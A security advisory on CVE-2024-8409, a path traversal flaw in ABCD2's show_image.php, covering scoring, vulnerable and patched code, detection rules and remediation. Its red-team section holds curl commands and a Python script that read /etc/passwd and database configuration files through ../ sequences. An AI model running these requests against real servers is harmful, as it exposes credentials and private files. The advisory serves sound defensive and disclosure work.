CVE-2024-8409

Executive Summary

CVE-2024-8409 is a path traversal vulnerability in the ABCD2 application (version up to 2.2.0-beta-1). The flaw resides in the /common/show_image.php file, where the image parameter is not properly sanitized, allowing an attacker to traverse directories using ../filedir sequences. This enables unauthorized reading of arbitrary files on the server, potentially exposing sensitive configuration files, credentials, or application source code. The vulnerability is remotely exploitable without authentication, and a proof-of-concept (PoC) has been publicly disclosed. The vendor has not responded to disclosure attempts, leaving the software in an unpatched state.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a standalone PHP application (ABCD2). No supply chain implications are identified.

CVSS Breakdown & Threat Level

CVSS Score: 5.3 (Medium)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: None
Scope: Unchanged
Confidentiality: Low
Integrity: None
Availability: None

Threat Level: Medium. The vulnerability allows file disclosure but not modification or denial of service. However, the lack of a patch and public exploit increases the risk.

Deep Dive & Mechanics

The vulnerability is a classic path traversal (directory traversal) in the show_image.php script. The image parameter is used to construct a file path for reading an image file. Without proper validation, an attacker can inject ../ sequences to escape the intended image directory and read arbitrary files.

Vulnerable Code Snippet (Conceptual):

<?php
$image = $_GET['image'];
$path = "/var/www/images/" . $image;
$data = file_get_contents($path);
header("Content-Type: image/jpeg");
echo $data;
?>

Attack Flow:

1. Attacker sends a GET request to /common/show_image.php?image=../../etc/passwd
2. The application constructs the path: /var/www/images/../../etc/passwd which resolves to /etc/passwd
3. The file is read and returned to the attacker.

Impact: An attacker can read any file the web server user has access to, including:

• /etc/passwd (user enumeration)
• Application configuration files (database credentials)
• Source code (for further vulnerability discovery)
• Log files

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

$image = $_GET['image'];
$path = "/var/www/images/" . $image;

Patched Code (Conceptual):

$image = basename($_GET['image']);
$path = "/var/www/images/" . $image;
if (strpos(realpath($path), realpath("/var/www/images/")) !== 0) {
    die("Invalid path");
}

The patched version uses basename() to strip directory components and then validates that the resolved path is within the allowed directory.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running ABCD2 <= 2.2.0-beta-1
• Network access to the web interface

Exploitation Steps:

1. Basic File Read:

   curl "http://target/common/show_image.php?image=../../etc/passwd"
   

2. Read Configuration File:

   curl "http://target/common/show_image.php?image=../../config/database.php"
   

3. Automated Exploit (Python):

   import requests
   import sys
   
   target = sys.argv[1]
   file = sys.argv[2] if len(sys.argv) > 2 else "/etc/passwd"
   url = f"{target}/common/show_image.php?image=../../{file}"
   response = requests.get(url)
   print(response.text)
   

Lab Setup:

• Use Docker to run a vulnerable instance:

  FROM php:7.4-apache
  COPY . /var/www/html/
  

• Or use a pre-built vulnerable VM from VulnHub.

Blue Team

Detection:

• Monitor web server logs for requests containing ../ in the image parameter.
• Example log entry:

  192.168.1.100 - - [10/Oct/2024:12:34:56 +0000] "GET /common/show_image.php?image=../../etc/passwd HTTP/1.1" 200 1234 "-" "curl/7.68.0"
  

Mitigation:

• Apply input validation (use basename() and path canonicalization).
• Implement a Web Application Firewall (WAF) rule to block path traversal patterns.
• Restrict web server user permissions to limit file access.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests to /common/show_image.php with image parameter containing ../ or ..%2f
• Response content containing sensitive files (e.g., root:x:0:0:root:/root:/bin/bash)

File System IOCs:

• Unexpected access to /etc/passwd, /etc/shadow, or application configuration files.
• Web server logs showing path traversal attempts.

Log Patterns:

• Apache/Nginx access logs with ../ in the query string.
• Error logs showing file not found errors for traversed paths.

Detection Engineering

YARA Rule

rule CVE_2024_8409_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting CVE-2024-8409 in ABCD2"
        author = "Valters IT"
        date = "2024-10-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-8409"
    strings:
        $traversal1 = "../" ascii
        $traversal2 = "..%2f" ascii nocase
        $traversal3 = "..%252f" ascii nocase
        $param = "image=" ascii nocase
        $script = "show_image.php" ascii nocase
    condition:
        all of ($param, $script) and any of ($traversal*)
}

Sigma Rule

title: CVE-2024-8409 Path Traversal Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal attempts in ABCD2 show_image.php
author: Valters IT
date: 2024-10-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - 'image=../'
            - 'image=..%2f'
            - 'image=..%252f'
        cs-uri-stem|endswith: '/common/show_image.php'
    condition: selection
falsepositives:
    - Legitimate use of relative paths (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-8409 Path Traversal in ABCD2 show_image.php"; flow:to_server,established; content:"GET"; http_method; content:"/common/show_image.php"; http_uri; content:"image="; http_uri; pcre:"/image=[^&]*\.\.\//i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not required: Remove or rename show_image.php.
2. Apply input validation manually: Modify the script to use basename() and path canonicalization.
3. Implement WAF rules to block path traversal patterns.
4. Restrict web server permissions to limit file access.

Long-term Fix:

• Upgrade to a patched version when available (vendor unresponsive, consider forking or replacing the software).
• Conduct a security audit of the entire application.

Workaround:

• Use a reverse proxy (e.g., Nginx) to block requests containing ../ in the query string:

  location /common/show_image.php {
      if ($args ~* "image=.*\.\.") {
          return 403;
      }
  }
  

Report generated by Valters IT DevSecOps & CTI Division